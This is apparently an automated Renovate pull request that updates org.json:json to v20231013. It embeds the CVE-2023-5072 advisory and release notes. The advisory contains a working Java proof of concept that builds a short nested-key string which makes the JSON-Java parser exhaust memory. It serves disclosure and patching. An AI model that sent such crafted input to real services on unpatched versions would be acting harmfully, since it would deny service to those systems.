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fix(deps): update dependency org.json:json to v20231013 [security] #3641

Closed renovate-bot closed 2 weeks ago

renovate-bot commented 2 weeks ago

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
org.json:json 20230618 -> 20231013 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-5072

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023


Release Notes

douglascrockford/JSON-java (org.json:json) ### [`v20231013`](https://togithub.com/stleary/JSON-java/releases/tag/20231013) [Compare Source](https://togithub.com/douglascrockford/JSON-java/compare/20230618...20231013) | Pull Request | Description | |-----|-----| |[#​793](https://togithub.com/douglascrockford/JSON-java/issues/793)| Reverted [#​761](https://togithub.com/douglascrockford/JSON-java/issues/761)| |[#​792](https://togithub.com/douglascrockford/JSON-java/issues/792)| update the docs for release [`2023101`](https://togithub.com/douglascrockford/JSON-java/commit/20231013)| |[#​783](https://togithub.com/douglascrockford/JSON-java/issues/783) |optLong vs getLong inconsistencies|  |[#​782](https://togithub.com/douglascrockford/JSON-java/issues/782)| Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows| |[#​779](https://togithub.com/douglascrockford/JSON-java/issues/779) |add validity check for JSONObject constructors| |[#​778](https://togithub.com/douglascrockford/JSON-java/issues/778) |Fix XMLTest.testIndentComplicatedJsonObjectWithArrayAndWithConfig() for Windows| |[#​776](https://togithub.com/douglascrockford/JSON-java/issues/776) |Update \[JUnit to version 4.13.2| |[#​774](https://togithub.com/douglascrockford/JSON-java/issues/774) |Removing unneeded synchronization| |[#​773](https://togithub.com/douglascrockford/JSON-java/issues/773) |Add optJSONArray method to JSONObject with a default value| |[#​772](https://togithub.com/douglascrockford/JSON-java/issues/772) |Disallow nested objects and arrays as keys in objects| |[#​779](https://togithub.com/douglascrockford/JSON-java/issues/779) |Unit test cleanup| |[#​769](https://togithub.com/douglascrockford/JSON-java/issues/769) |Addressed Java 17 compile warnings| |[#​764](https://togithub.com/douglascrockford/JSON-java/issues/764)| Update CodeQL action version| |[#​761](https://togithub.com/douglascrockford/JSON-java/issues/761) |Add module-info| |[#​759](https://togithub.com/douglascrockford/JSON-java/issues/759) |JSON parsing should detect embedded | |[#​753](https://togithub.com/douglascrockford/JSON-java/issues/753)| Updated new object methods| |[#​752](https://togithub.com/douglascrockford/JSON-java/issues/752)|Fixes possible unit test bug when compiling/testing on Windows|

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